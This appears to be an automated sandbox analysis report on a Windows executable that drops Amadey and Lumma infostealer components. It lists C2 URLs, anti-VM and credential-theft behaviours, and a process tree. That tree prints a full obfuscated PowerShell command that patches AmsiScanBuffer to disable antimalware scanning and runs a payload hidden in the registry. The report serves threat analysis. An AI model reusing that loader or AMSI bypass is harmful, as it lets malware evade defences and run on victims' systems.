Analysis
- max time kernel
148s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
29/03/2024, 17:47
Static task
static1
Behavioral task
behavioral1
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win10-20240214-en
Behavioral task
behavioral3
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win11-20240221-en
General
- Target 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
- Size 1.9MB
- Sample240329-wdaacaef33
- SHA256 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da
- MD5 864674e8be395eb28bb181184add5c01
- SHA1 79bb9c0ae54bf8572328af06b6576327bd0a386c
- SHA512 7f85146e5cca26f5a388aeea88cf9d86819aed6e240c3b94569967a2074654327e531be66f1335f9fa0790f13844c65315a3020d0e9c6bdce40c3605164abc25
- SSDEEP 49152:EJ8NNvupgJi+RYYhQx/QAfi4oxa03C+v7sOh9yPQtE:Xvu+RIx/QAfiTY03C+z/yP
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
amadey
-
4.17
-
http://185.215.113.32
-
install_dir
00c07260dc
-
install_file
explorgu.exe
-
strings_key
461809bd97c251ba0c0c8450c7055f1d
-
url_paths
/yandex/index.php
Extracted
-
lumma
-
https://enthusiasimtitleow.shop/api
Signatures
- Detect ZGRat V1 32 IoCs
resource yara_rule behavioral3/memory/5012-68-0x0000000005540000-0x0000000005782000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-70-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-72-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-77-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-79-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-84-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-87-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-90-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-93-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-96-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-98-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-100-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-102-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-104-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-106-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-108-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-110-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-112-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-114-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-116-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-118-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-120-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-122-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-124-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-126-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-128-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-130-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-132-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-134-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-136-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-138-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 behavioral3/memory/5012-140-0x0000000005540000-0x000000000577B000-memory.dmp family_zgrat_v1 - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1368 created 600 1368 powershell.EXE 5 - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorgu.exe - Blocklisted process makes network request 2 IoCs
flow pid Process 59 1608 rundll32.exe 60 1692 rundll32.exe - Downloads MZ/PE file
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorgu.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorgu.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation explorgu.exe - Executes dropped EXE 4 IoCs
pid Process 1440 explorgu.exe 5012 Tcgprylsch.exe 1184 koooooo.exe 1144 $771100cd - Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Software\Wine 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key opened \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Software\Wine explorgu.exe - Loads dropped DLL 3 IoCs
pid Process 3436 rundll32.exe 1608 rundll32.exe 1692 rundll32.exe - Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3620 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe 1440 explorgu.exe - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1184 set thread context of 2148 1184 koooooo.exe 102 PID 5012 set thread context of 1144 5012 Tcgprylsch.exe 113 PID 1368 set thread context of 4464 1368 powershell.EXE 116 - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Tasks\explorgu.job 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 1228 1184 WerFault.exe 100 - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE - Suspicious behavior: EnumeratesProcesses 27 IoCs
pid Process 3620 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe 3620 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe 1440 explorgu.exe 1440 explorgu.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1580 powershell.exe 1580 powershell.exe 1368 powershell.EXE 1368 powershell.EXE 1368 powershell.EXE 4464 dllhost.exe 4464 dllhost.exe 4464 dllhost.exe 4464 dllhost.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 5012 Tcgprylsch.exe Token: SeDebugPrivilege 1580 powershell.exe Token: SeDebugPrivilege 1368 powershell.EXE Token: SeDebugPrivilege 1368 powershell.EXE Token: SeDebugPrivilege 4464 dllhost.exe - Suspicious use of WriteProcessMemory 47 IoCs
description pid Process procid_target PID 1440 wrote to memory of 5012 1440 explorgu.exe 99 PID 1440 wrote to memory of 5012 1440 explorgu.exe 99 PID 1440 wrote to memory of 5012 1440 explorgu.exe 99 PID 1440 wrote to memory of 1184 1440 explorgu.exe 100 PID 1440 wrote to memory of 1184 1440 explorgu.exe 100 PID 1440 wrote to memory of 1184 1440 explorgu.exe 100 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1184 wrote to memory of 2148 1184 koooooo.exe 102 PID 1440 wrote to memory of 3436 1440 explorgu.exe 106 PID 1440 wrote to memory of 3436 1440 explorgu.exe 106 PID 1440 wrote to memory of 3436 1440 explorgu.exe 106 PID 3436 wrote to memory of 1608 3436 rundll32.exe 107 PID 3436 wrote to memory of 1608 3436 rundll32.exe 107 PID 1608 wrote to memory of 4392 1608 rundll32.exe 108 PID 1608 wrote to memory of 4392 1608 rundll32.exe 108 PID 1608 wrote to memory of 1580 1608 rundll32.exe 110 PID 1608 wrote to memory of 1580 1608 rundll32.exe 110 PID 1440 wrote to memory of 1692 1440 explorgu.exe 112 PID 1440 wrote to memory of 1692 1440 explorgu.exe 112 PID 1440 wrote to memory of 1692 1440 explorgu.exe 112 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 5012 wrote to memory of 1144 5012 Tcgprylsch.exe 113 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 1368 wrote to memory of 4464 1368 powershell.EXE 116 PID 4464 wrote to memory of 600 4464 dllhost.exe 5 PID 4464 wrote to memory of 684 4464 dllhost.exe 7 PID 4464 wrote to memory of 968 4464 dllhost.exe 12
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:600
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{31b28da7-80af-4f86-8748-1268a6b4e05f}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:968
-
C:\Users\Admin\AppData\Local\Temp\7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe"C:\Users\Admin\AppData\Local\Temp\7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:3620
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Users\Admin\AppData\Local\Temp\1001063001\Tcgprylsch.exe"C:\Users\Admin\AppData\Local\Temp\1001063001\Tcgprylsch.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5012 -
C:\Users\Admin\AppData\Local\Temp\$771100cd"C:\Users\Admin\AppData\Local\Temp\$771100cd"3⤵
- Executes dropped EXE
PID:1144
-
-
-
C:\Users\Admin\AppData\Local\Temp\1001065001\koooooo.exe"C:\Users\Admin\AppData\Local\Temp\1001065001\koooooo.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2148
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1184 -s 8683⤵
- Program crash
PID:1228
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵PID:4392
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\831553292808_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1580
-
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:1692
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1184 -ip 11841⤵PID:3424
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ltgzcIxQJOMx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HfuEYgJWeQaUrH,[Parameter(Position=1)][Type]$nybPNyfAjD)$YlftZcclxYD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'fl'+'e'+''+[Char](99)+'t'+[Char](101)+'d'+'D'+''+'e'+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'','Cl'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+'u'+'b'+'l'+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'a'+[Char](115)+'s'+[Char](44)+'A'+'u'+''+'t'+''+'o'+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$YlftZcclxYD.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+''+'e'+'c'+'i'+''+'a'+'l'+[Char](78)+''+'a'+''+[Char](109)+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$HfuEYgJWeQaUrH).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+''+'e'+''+'d'+'');$YlftZcclxYD.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+''+'k'+'e',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+'d'+'e'+'B'+'y'+''+'S'+''+[Char](105)+''+'g'+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t'+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$nybPNyfAjD,$HfuEYgJWeQaUrH).SetImplementationFlags(''+'R'+'un'+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $YlftZcclxYD.CreateType();}$oeRhxJBvifHeE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+'m'+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+'o'+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+'2'+[Char](46)+'U'+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+'i'+'v'+''+[Char](101)+''+'M'+''+'e'+'t'+[Char](104)+'od'+[Char](115)+'');$kiYoowUaTVZXtH=$oeRhxJBvifHeE.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+'c'+','+'S'+'t'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kUVnjaAAFxSunlfFBeS=ltgzcIxQJOMx @([String])([IntPtr]);$ENbjdCZkhoqqRyCLJYegEW=ltgzcIxQJOMx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gtZKftMmDAU=$oeRhxJBvifHeE.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+'32'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$MBoHtbbwyrmyWJ=$kiYoowUaTVZXtH.Invoke($Null,@([Object]$gtZKftMmDAU,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+'ib'+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$tDxzknWLebPufHcjG=$kiYoowUaTVZXtH.Invoke($Null,@([Object]$gtZKftMmDAU,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$vxPVfYi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MBoHtbbwyrmyWJ,$kUVnjaAAFxSunlfFBeS).Invoke('a'+[Char](109)+'si'+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'');$pjvrKcWSyiUblDDyk=$kiYoowUaTVZXtH.Invoke($Null,@([Object]$vxPVfYi,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+'B'+'u'+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$OEEITsygts=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tDxzknWLebPufHcjG,$ENbjdCZkhoqqRyCLJYegEW).Invoke($pjvrKcWSyiUblDDyk,[uint32]8,4,[ref]$OEEITsygts);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$pjvrKcWSyiUblDDyk,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tDxzknWLebPufHcjG,$ENbjdCZkhoqqRyCLJYegEW).Invoke($pjvrKcWSyiUblDDyk,[uint32]8,0x20,[ref]$OEEITsygts);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+'W'+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1368
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
- Size 1.9MB
- SHA256 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da
- MD5 864674e8be395eb28bb181184add5c01
- SHA1 79bb9c0ae54bf8572328af06b6576327bd0a386c
- SHA512 7f85146e5cca26f5a388aeea88cf9d86819aed6e240c3b94569967a2074654327e531be66f1335f9fa0790f13844c65315a3020d0e9c6bdce40c3605164abc25
- SSDEEP 49152:EJ8NNvupgJi+RYYhQx/QAfi4oxa03C+v7sOh9yPQtE:Xvu+RIx/QAfiTY03C+z/yP
